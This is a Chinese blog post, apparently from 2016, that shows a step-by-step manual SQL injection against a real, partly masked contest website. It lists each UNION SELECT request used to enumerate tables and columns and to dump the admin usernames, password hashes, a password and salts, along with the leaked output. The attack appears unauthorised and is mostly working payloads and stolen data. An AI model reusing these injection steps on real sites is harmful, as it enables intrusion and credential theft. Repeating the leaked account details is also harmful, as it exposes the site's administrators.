手工注入PHP站点

遗忘大牛让小菜写篇文章,哎,手机写太痛苦啊,就简单点吧,勿喷小菜

注入点:http://www.***.cn/a/2011missworld/announce.php?id=216&areaid=2,还有很多和这个类似的注入点,都是一些赛区

注入过程:
http://www.***.cn/a/2011missworld/announce.php?id=216&areaid=2%20and%201=2%20union%20select%20group_concat(table_name),2%20from%20information_schema.tables%20where%20table_schema=database()

2013yacht_admin,2013yacht_announcement,2013yacht_content,2013yacht_image,2013yacht_mote,2013yacht_news,2013yacht_news_content,2013yacht_photo,2013yacht_pw,car_usedata,contest_about,contest_admin,contest_admin_pic,contest_admin_tree,contest_area,contest_area_chengshi,contest_competition_message,contest_config,contest_cooperation,contest_fin

2013yacht_admin:

http://www.***.cn/a/2011missworld/announce.php?id=216&areaid=2%20and%201=2%20union%20select%20group_concat(column_name),2%20from%20information_schema.columns%20where%20table_name=0x3230313379616368745F61646D696E

ya_id,ya_type,ya_user,ya_word,ya_name,ya_phone,ya_qq,ya_addres,ya_time,ya_role,ya_single,ya_flag,ya_iphits

contest_admin:

http://www.***.cn/a/2011missworld/announce.php?id=216&areaid=2%20and%201=2%20union%20select%20group_concat(column_name),2%20from%20information_schema.columns%20where%20table_name=0x636F6E746573745F61646D696E

adminId,adminUserName,adminPassword,adminPasswordSalt,adminFlag,adminTruename,licenseKey,createTime,updateTime,level,areaId,contest

http://www.***.cn/a/2011missworld/announce.php?id=216&areaid=2%20and%201=2%20union%20select%20adminUserName,2%20from%20contest_admin limit 0,1

admin@qq.com
changsha@qq.com
zhuzhou@qq.com
xiangtan@qq.com

http://www.***.cn/a/2011missworld/announce.php?id=216&areaid=2%20and%201=2%20union%20select%20adminPassword,2%20from%20contest_admin limit 0,1

43a8b0b33523146fdef5010509417602 fe3ec52ed5f2c3f9bd1344a23e14ffeb924496 sjf123456

http://www.***.cn/a/2011missworld/announce.php?id=216&areaid=2%20and%201=2%20union%20select%20adminPasswordSalt,2%20from%20%20contest_admin%20limit%200,1
后台啥的就不漏出来了
Screenshot_2016-05-18-10-57-12_mh1463541790154.jpg
Screenshot_2016-05-18-10-57-12_mh1463541790154.jpg
Screenshot_2016-05-18-10-59-28_mh1463541708888.jpg
Screenshot_2016-05-18-11-00-12_mh1463541647116.jpg
Screenshot_2016-05-18-11-00-39_mh1463541611614.jpg
Screenshot_2016-05-18-11-01-56_mh1463541567087.jpg
Screenshot_2016-05-18-11-05-04_mh1463541489932.jpg

标签: none

添加新评论